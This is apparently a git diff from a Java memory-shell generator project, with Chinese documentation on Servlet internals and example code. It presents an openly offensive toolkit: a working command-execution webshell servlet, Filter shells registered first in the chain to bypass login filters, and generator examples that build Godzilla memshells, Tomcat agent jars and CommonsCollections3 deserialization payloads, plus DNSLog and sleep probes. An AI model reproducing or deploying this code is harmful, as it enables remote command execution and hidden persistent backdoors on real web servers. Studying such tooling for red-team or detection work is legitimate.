1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。
|
||||||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。
|
||||||
|
|
||||||
@@ -1,23 +1,21 @@
|
|||||||
---
|
# Event Listeners
|
||||||
title: Listener
|
|
||||||
---
|
|
||||||
|
|
||||||
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
> [Servlet 3.1 规范 - 事件监听器](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Application%20Lifecycle%20Events/11.2%20Event%20Listeners.md)
|
||||||
|
|
||||||
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
Servlet 事件监听器支持当 ServletContext、HttpSession 和 ServletRequest 状态变更时发送事件通知。每个事件类型的监听器都支持多个,并且开发者可以指定监听器的调用顺序。
|
||||||
|
|
||||||
| Listener 接口类 | 描述 |
|
| Listener 接口类 | 描述 |
|
||||||
| ------------------------------------------------ | ------------------------------------------ |
|
|--------------------------------------------------|---------------------------------|
|
||||||
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
| javax.servlet.ServletContextListener | 在 ServletContext 创建以及销毁时 |
|
||||||
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
| javax.servlet.ServletContextAttributeListener | 在 ServletContext 添加、移除或替换属性时 |
|
||||||
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
| javax.servlet.http.HttpSessionListener | 在 HttpSession 创建和销毁时 |
|
||||||
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
| javax.servlet.http.HttpSessionAttributeListener | 在 HttpSession 上添加、移除或替换属性 |
|
||||||
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
| javax.servlet.http.HttpSessionIdListener | 在 HttpSession id 变化时 |
|
||||||
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
| javax.servlet.http.HttpSessionActivationListener | 在 HttpSession 激活或钝化时 |
|
||||||
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
| javax.servlet.http.HttpSessionBindingListener | 在 HttpSession 上对象绑定或解绑时 |
|
||||||
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
| javax.servlet.ServletRequestListener | 在 ServletRequest 在将要被 Web 容器处理时 |
|
||||||
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
| javax.servlet.ServletRequestAttributeListener | 在 ServletRequest 上添加、移除或替换属性时 |
|
||||||
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
| javax.servlet.AsyncListener | 在异步操作开始、超时或完成时 |
|
||||||
|
|
||||||
## ServletRequestListener
|
## ServletRequestListener
|
||||||
|
|
||||||
@@ -0,0 +1,98 @@
|
|||||||
|
# Java Servlet
|
||||||
|
|
||||||
|
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
|
||||||
|
|
||||||
|
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
|
||||||
|
|
||||||
|
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
|
||||||
|
|
||||||
|
## ServletContext
|
||||||
|
|
||||||
|
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
|
||||||
|
|
||||||
|
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
|
||||||
|
|
||||||
|
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
|
||||||
|
|
||||||
|
```java
|
||||||
|
addServlet(String servletName, String className);
|
||||||
|
addServlet(String servletName, Servlet servlet);
|
||||||
|
addServlet(String servletName, Class <? extends Servlet> servletClass);
|
||||||
|
addFilter(String filterName, String className);
|
||||||
|
addFilter(String filterName, Filter filter);
|
||||||
|
addFilter(String filterName, Class <? extends Filter> filterClass);
|
||||||
|
void addListener(String className);
|
||||||
|
void addListener(T t);
|
||||||
|
void addListener(Class <? extends EventListener> listenerClass);
|
||||||
|
```
|
||||||
|
|
||||||
|
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
|
||||||
|
|
||||||
|
## HttpServlet
|
||||||
|
|
||||||
|
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||||||
|
|
||||||
|
```java
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||||||
|
```
|
||||||
|
|
||||||
|
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||||||
|
|
||||||
|
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||||||
|
|
||||||
|
```java
|
||||||
|
@WebServlet(”/foo”)
|
||||||
|
public class CalculatorServlet extends HttpServlet{
|
||||||
|
//...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>foo</servlet-name>
|
||||||
|
<url-pattern>/foo</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
```
|
||||||
|
|
||||||
|
## ServletShell
|
||||||
|
|
||||||
|
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||||||
|
|
||||||
|
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||||||
|
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||||||
|
|
||||||
|
```java
|
||||||
|
public class CommandServlet extends HttpServlet {
|
||||||
|
public static String paramName;
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
doPost(req, resp);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
@@ -18,27 +18,8 @@
|
|||||||
<dependency>
|
<dependency>
|
||||||
<groupId>io.github.reajason</groupId>
|
<groupId>io.github.reajason</groupId>
|
||||||
<artifactId>generator</artifactId>
|
<artifactId>generator</artifactId>
|
||||||
<version>2.0.0</version>
|
<version>1.0.4</version>
|
||||||
</dependency>
|
|
||||||
<dependency>
|
|
||||||
<groupId>io.github.reajason</groupId>
|
|
||||||
<artifactId>packer</artifactId>
|
|
||||||
<version>2.0.0</version>
|
|
||||||
</dependency>
|
</dependency>
|
||||||
</dependencies>
|
</dependencies>
|
||||||
|
|
||||||
<!-- 使用 SNAPSHOT 版本,才需要下面这块 -->
|
|
||||||
<repositories>
|
|
||||||
<repository>
|
|
||||||
<name>Central Portal Snapshots</name>
|
|
||||||
<id>central-portal-snapshots</id>
|
|
||||||
<url>https://central.sonatype.com/repository/maven-snapshots/</url>
|
|
||||||
<releases>
|
|
||||||
<enabled>false</enabled>
|
|
||||||
</releases>
|
|
||||||
<snapshots>
|
|
||||||
<enabled>true</enabled>
|
|
||||||
</snapshots>
|
|
||||||
</repository>
|
|
||||||
</repositories>
|
|
||||||
</project>
|
</project>
|
||||||
@@ -1,32 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.DnsLogConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class DnsLogProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.DNSLog)
|
|
||||||
.probeContent(ProbeContent.Server) // 暂只支持 Server 和 JDK
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
DnsLogConfig dnsLogConfig = DnsLogConfig.builder()
|
|
||||||
.host("xxx.dns.log")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, dnsLogConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,15 +1,10 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -18,7 +13,7 @@ import static com.reajason.javaweb.Server.Tomcat;
|
|||||||
public class Godzilla {
|
public class Godzilla {
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Tomcat)
|
.server(Server.Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.FILTER)
|
.shellType(ShellType.FILTER)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
@@ -38,13 +33,18 @@ public class Godzilla {
|
|||||||
// .headerValue("test")
|
// .headerValue("test")
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
|
|
||||||
System.out.println(result.getShellConfig());
|
System.out.println(result.getShellConfig());
|
||||||
System.out.println(result.getShellToolConfig());
|
System.out.println(result.getShellToolConfig());
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
|
System.out.println("Base64 打包:" + Packers.Base64.getInstance().pack(result));
|
||||||
|
|
||||||
|
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result));
|
||||||
|
|
||||||
|
System.out.println("CC3 打包:" + Packers.JavaCommonsCollections3.getInstance().pack(result));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,20 +1,15 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.MemShellResult;
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
import com.reajason.javaweb.memshell.config.GodzillaConfig;
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.packer.Packers;
|
import com.reajason.javaweb.memshell.packer.jar.JarPacker;
|
||||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
|
||||||
|
|
||||||
import java.nio.file.Files;
|
import java.nio.file.Files;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2025/4/6
|
* @since 2025/4/6
|
||||||
@@ -23,7 +18,7 @@ public class GodzillaAgent {
|
|||||||
|
|
||||||
public static void main(String[] args) throws Exception {
|
public static void main(String[] args) throws Exception {
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
.server(Tomcat)
|
.server(Server.Tomcat)
|
||||||
.shellTool(ShellTool.Godzilla)
|
.shellTool(ShellTool.Godzilla)
|
||||||
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
.shellType(ShellType.AGENT_FILTER_CHAIN)
|
||||||
.shrink(true) // 缩小字节码
|
.shrink(true) // 缩小字节码
|
||||||
@@ -43,7 +38,7 @@ public class GodzillaAgent {
|
|||||||
// .headerValue("test")
|
// .headerValue("test")
|
||||||
.build();
|
.build();
|
||||||
|
|
||||||
MemShellResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
GenerateResult result = MemShellGenerator.generate(shellConfig, injectorConfig, godzillaConfig);
|
||||||
|
|
||||||
System.out.println("注入器类名:" + result.getInjectorClassName());
|
System.out.println("注入器类名:" + result.getInjectorClassName());
|
||||||
System.out.println("内存马类名:" + result.getShellClassName());
|
System.out.println("内存马类名:" + result.getShellClassName());
|
||||||
@@ -51,7 +46,7 @@ public class GodzillaAgent {
|
|||||||
System.out.println(result.getShellConfig());
|
System.out.println(result.getShellConfig());
|
||||||
System.out.println(result.getShellToolConfig());
|
System.out.println(result.getShellToolConfig());
|
||||||
|
|
||||||
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result.toJarPackerConfig());
|
byte[] agentJarBytes = ((JarPacker) Packers.AgentJar.getInstance()).packBytes(result);
|
||||||
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
Files.write(Paths.get("agent.jar"), agentJarBytes);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,35 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class ResponseBodyProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.ResponseBody)
|
|
||||||
.probeContent(ProbeContent.Command)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.reqHeaderName("X-Echo")
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
package com.reajason.javaweb;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import com.reajason.javaweb.probe.ProbeContent;
|
|
||||||
import com.reajason.javaweb.probe.ProbeMethod;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellGenerator;
|
|
||||||
import com.reajason.javaweb.probe.ProbeShellResult;
|
|
||||||
import com.reajason.javaweb.probe.config.ProbeConfig;
|
|
||||||
import com.reajason.javaweb.probe.config.SleepConfig;
|
|
||||||
|
|
||||||
import static com.reajason.javaweb.Server.Tomcat;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/8/13
|
|
||||||
*/
|
|
||||||
public class SleepProbe {
|
|
||||||
public static void main(String[] args) {
|
|
||||||
ProbeConfig probeConfig = ProbeConfig.builder()
|
|
||||||
.probeMethod(ProbeMethod.Sleep)
|
|
||||||
.probeContent(ProbeContent.Server) // 暂只支持 Server
|
|
||||||
.shrink(true)
|
|
||||||
.debug(false)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
SleepConfig sleepConfig = SleepConfig.builder()
|
|
||||||
.server(Tomcat)
|
|
||||||
.seconds(5).build();
|
|
||||||
|
|
||||||
ProbeShellResult result = ProbeShellGenerator.generate(probeConfig, sleepConfig);
|
|
||||||
|
|
||||||
System.out.println("脚本引擎打包:" + Packers.ScriptEngine.getInstance().pack(result.toClassPackerConfig()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(8)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'io.github.reajason'
|
||||||
|
description = "MemShell Generator for Java"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
// 测试使用 JDK17 进行编译与运行
|
||||||
|
tasks.withType(Test).configureEach {
|
||||||
|
javaLauncher = javaToolchains.launcherFor {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.named('compileTestJava') {
|
||||||
|
javaCompiler = javaToolchains.compilerFor {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_17
|
||||||
|
targetCompatibility = JavaVersion.VERSION_17
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
finalizedBy jacocoTestReport
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation project(":memshell-party-common")
|
||||||
|
implementation project(":deserialize")
|
||||||
|
|
||||||
|
implementation project(":memshell")
|
||||||
|
implementation project(":memshell-java8")
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
|
|
||||||
|
implementation 'javax.servlet:javax.servlet-api'
|
||||||
|
implementation 'javax.websocket:javax.websocket-api'
|
||||||
|
|
||||||
|
implementation 'org.apache.bcel:bcel'
|
||||||
|
|
||||||
|
implementation 'commons-io:commons-io'
|
||||||
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
|
implementation 'com.squareup.okhttp3:okhttp'
|
||||||
|
implementation 'ch.qos.logback:logback-classic'
|
||||||
|
implementation 'com.fasterxml.jackson.core:jackson-databind'
|
||||||
|
|
||||||
|
implementation 'org.springframework:spring-webmvc'
|
||||||
|
implementation 'org.springframework:spring-webflux'
|
||||||
|
implementation 'io.projectreactor.netty:reactor-netty-core'
|
||||||
|
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
testImplementation "org.mockito:mockito-core"
|
||||||
|
testImplementation 'org.mockito:mockito-junit-jupiter'
|
||||||
|
}
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java-library")
|
|
||||||
alias(libs.plugins.lombok)
|
|
||||||
id("maven-publish-convention")
|
|
||||||
}
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(8)
|
|
||||||
}
|
|
||||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
targetCompatibility = JavaVersion.VERSION_1_8
|
|
||||||
}
|
|
||||||
|
|
||||||
group = "io.github.reajason"
|
|
||||||
description = "MemShell Generator for Java"
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
tasks.compileTestJava {
|
|
||||||
javaCompiler.set(javaToolchains.compilerFor {
|
|
||||||
languageVersion.set(JavaLanguageVersion.of(17))
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":memshell-party-common"))
|
|
||||||
implementation(project(":packer"))
|
|
||||||
api(libs.byte.buddy)
|
|
||||||
implementation(libs.asm.commons)
|
|
||||||
implementation(libs.javax.websocket.api)
|
|
||||||
implementation(libs.jakarta.websocket.client.api)
|
|
||||||
implementation(libs.javax.servlet.api)
|
|
||||||
implementation(libs.jakarta.servlet.api)
|
|
||||||
implementation(libs.spring.webmvc)
|
|
||||||
implementation(libs.spring.webflux)
|
|
||||||
implementation(libs.tomcat.embed.core)
|
|
||||||
implementation(libs.reactor.netty.core)
|
|
||||||
implementation(libs.alibaba.dubbo)
|
|
||||||
implementation(libs.apache.dubbo)
|
|
||||||
implementation(libs.jackson.annotations)
|
|
||||||
implementation(libs.bundles.jna)
|
|
||||||
|
|
||||||
testImplementation(libs.junit.jupiter)
|
|
||||||
testImplementation(libs.hamcrest)
|
|
||||||
testRuntimeOnly(libs.junit.platform.launcher)
|
|
||||||
testImplementation(libs.bundles.mockito)
|
|
||||||
}
|
|
||||||